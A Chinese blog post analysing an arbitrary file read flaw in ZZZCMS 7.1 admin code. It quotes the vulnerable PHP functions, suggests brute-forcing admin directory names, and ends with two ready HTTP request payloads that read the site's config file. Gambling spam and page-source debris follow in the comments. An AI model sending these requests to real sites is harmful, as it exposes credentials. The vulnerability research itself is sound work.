ZZZCMS任意文件读取漏洞分析

关注着CNVD的漏洞通报,发现ZZZCMS 7.1版本存在一个任意文件读取的漏洞通告,遂尝试复现一波。

先说一下漏洞利用,权限为管理员才行

在有管理员权限后,才可以利用查看日志的方式,读取到任意文件内容,关键的函数是load_file()

0x00 漏洞利用条件

  • 管理员权限
  • 后台管理目录
  • 后台数据库为mysql

管理员权限,emmm~相信大家已经可以通过很多方式拿到

后台管理目录,通过爆破admin000admin999,可以找到

后台数据库类型约束,一般来讲都会使用Mysql

当然下文中有两个漏洞利用点,另一个不需要这个约束条件


0x01 出现问题的地方

问题出现在admin371\save.php 第899行附近的restore()函数

zzphp

可以看出,path参数是可控的

跟进 load_file() 函数,在admin371\save.php 文件首部

//读取文件
function load_file( $path, $location = NULL ) {
    $path = str_replace( '//', '/', $path );
    if ( is_file( $path ) ) {
        return file_get_contents( $path );
    } elseif ( !is_null( $location ) ) {
        $locationpath = PLUG_DIR . 'template/' . $location . '.tpl';
        if ( is_file( $locationpath ) ) {
            return file_get_contents( $locationpath );
        } elseif(conf('runmode')==1) {
            return false;
        }else{
            error ( '404,很抱歉您访问的页面不存在,请检查网址是否正确!',SITE_PATH);
        }
    } elseif ( is_file( SITE_DIR . $path ) ) {
        return file_get_contents( SITE_DIR . $path );
    } else {
        error( "载入文件失败,请检查文件路径!," . str_replace( DOC_PATH, '', $path ) );
        return false;
    }
}

如果load_file(path)只传递path参数,那么直接通过file_get_contentss($path)返回读取文件的内容

虽然 load_file() 能够读取文件,但是并没有回显的地方,该如何解决呐?

继续跟进 db_exec() 函数

可以写入日志

那么针对文件中以分号+换行结尾的,认为是一条完整的SQL语句,无论执行成功与否,将会写入日志

再看str_log()函数的定义

// 日志记录
function str_log( $s, $dir = 'error',$file = '' ) {
    $time = $_SERVER[ 'time' ];
    $ip = $_SERVER[ 'ip' ];
    $uid = intval( get_session( 'adminid' ) );
    $day = date( 'Ym', $time );
    $mtime = date( 'Y-m-d H:i:s' );
    $dbtype= $_SERVER[ 'conf' ]['db'];
    switch(    $dbtype['type']){
    case 'access':
        $name = md5( strtotime(date("Y-m-d"),time()).    $dbtype['accessname']) . ".zzz";
        break;
        case 'mysql':
        $name = md5( strtotime(date("Y-m-d"),time()).    $dbtype['user'].$dbtype['password']) . ".zzz";
        break;
        case 'sqlite':
        $name = md5( strtotime(date("Y-m-d"),time()).    $dbtype['sqlitename']) . ".zzz";
        break;
        default:
        $name = md5( strtotime(date("Y-m-d"),time()).conf('adminpath')) . ".zzz";
        break;
    }
    $url = isset( $_SERVER[ 'REQUEST_URI' ] ) ? $_SERVER[ 'REQUEST_URI' ] : '';
    $logpath = empty($file) ? RUN_DIR . $dir . '/' . $name : RUN_DIR . $dir . '/' . md5($file).".zzz";
    check_dir(dirname($logpath),true);
    is_array( $s )and $s = tojson( $s );
    $s = "$mtime\t$ip\t$url\t$uid\r\n$s\r\n";
    return error_log( $s, 3, $logpath );
}

其主要在于

case 'mysql':
    $name = md5( strtotime(date("Y-m-d"),time()).    $dbtype['user'].$dbtype['password']) . ".zzz";

其日志文件名是经过MD5摘要信息,暴力破解也不太实际

系统管理 -> 操作记录 可以直接看到日志文件名

查看日志文件名

那么尝试一下构造读取网站的配置文件,发现日志文件中成功写入

成功写入

那么这里就是一个漏洞利用点了!

0x02 漏洞利用点2

在如上,我们看到了管理员可以直接读取日志文件,那么看看其针对文件路径读取是否严格过滤了呐?

直接抓包修改测试,发现居然可以直接读取任意文件

成功读取

分析一下原因呐?

调用module

参数moudle的值就是调用渲染的模版名,位于相对路径下的./template/目录

可利用的就是log.tpl模版

log.tpl

非常棒,这里就没有数据库类型限制了

又是一个任意文件读取的漏洞点!


0x03 攻击Payload

妈个蛋,又找到了0day,懒得提交了~

Payload1:

[cv]

POST /admin371/save.php?act=restore HTTP/1.1
Host: www.test.com
Content-Length: 27
Accept: */*
Origin: http://www.test.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://www.test.com/admin371/?datebackuplist
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie:  PHPSESSID=02brlqd7surt0jjtfl2bg794u1; zzz_adminpass=0; zzz_adminpath=0; zzz_adminname=admin; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; zzz_keys=1
Connection: close

path=/config/zzz_config.php

[/cv]

Payload2:

[cv]

GET /admin371/?module=log&type=/config/zzz_config.php HTTP/1.1
Host: www.test.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://www.test.com/admin371/?dbsqllist
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=02brlqd7surt0jjtfl2bg794u1; UM_distinctid=16d4f4008b624-0e1822a8c30d27-3c604504-1fa400-16d4f4008b91d9; CNZZDATA1277972876=763691373-1568992660-%7C1569156959; zzz_adminpass=0; zzz_adminpath=0; zzz_adminname=admin; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; zzz_keys=1
Connection: close

[/cv]

本文仅供安全学习研究用途,共勉!

发表评论 / Comment

用心评论~

金玉良言 / Appraise
jonnyLV 1
2022-07-05 15:42
สูตรสล็อต แนะนำสูตร สล็อต ออนไลน์ ที่จะทำให้คุณชนะเกมสล็อตง่าย ๆ แบบที่คุณไม่เคยได้สัมผัสมากก่อน ถ้ารู้สูตรแล้ว การชนะเกมสล็อตออนลไน์ก็ทำได้ง่าย ๆ รวยกันถ้วนหน้าเลย https://pg-slot.game/ 输出了代码
一念之间。LV 1
2020-11-14 20:41
<!DOCTYPE html><html> <head lang="zh-CN"> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="renderer" content="webkit"> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"> <meta http-equiv="Cache-Control" content="no-transform"> <meta http-equiv="Cache-Control" content="no-sitearef="https://blog.dyboy.cn/" class="">首页</a> <a href="https://blog.dyboy.cn/sort/program" class="">编程开发</a> <a href="https://blog.dyboy.cn/sort/websecurity" class="">Web安全</a> <a href=1\save.php</code> 文件首部</p>
<pre class="prettyprint lang-php">//读取文件
function load_file( $path, $location = NULL ) {
    $path = str_replace( '//', '/', $path );
    if ( is_file( $path ) ) {
        return file_get_contents( $path );
    } elseif ( !is_null( $location ) ) {
        $locationpath = PLUG_DIR . 'template/' . $location . '.tpl';
        if ( is_file( $locationpath ) ) {
            return file_get_contents( $locationpath );
        } elseif(conf('runmode')==1) {
            return false;
        }else{
            error ( '404,很抱歉您访问的页面不存在,请检查网址是否正确!',SITE_PATH);
        }
    } elseif ( is_file( SITE_DIR . $path ) ) {
        return file_get_contents( SITE_DIR . $path );
一念之间。LV 1
2020-11-14 20:39
结果
当午LV 1
2020-03-06 19:28
这个必须看看顶起来
任意~门LV 1
2020-03-05 15:05
牛逼

Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/blog.dyboy.cn/content/templates/dyblog/footer.php:56) in /www/wwwroot/blog.dyboy.cn/include/lib/view.php on line 23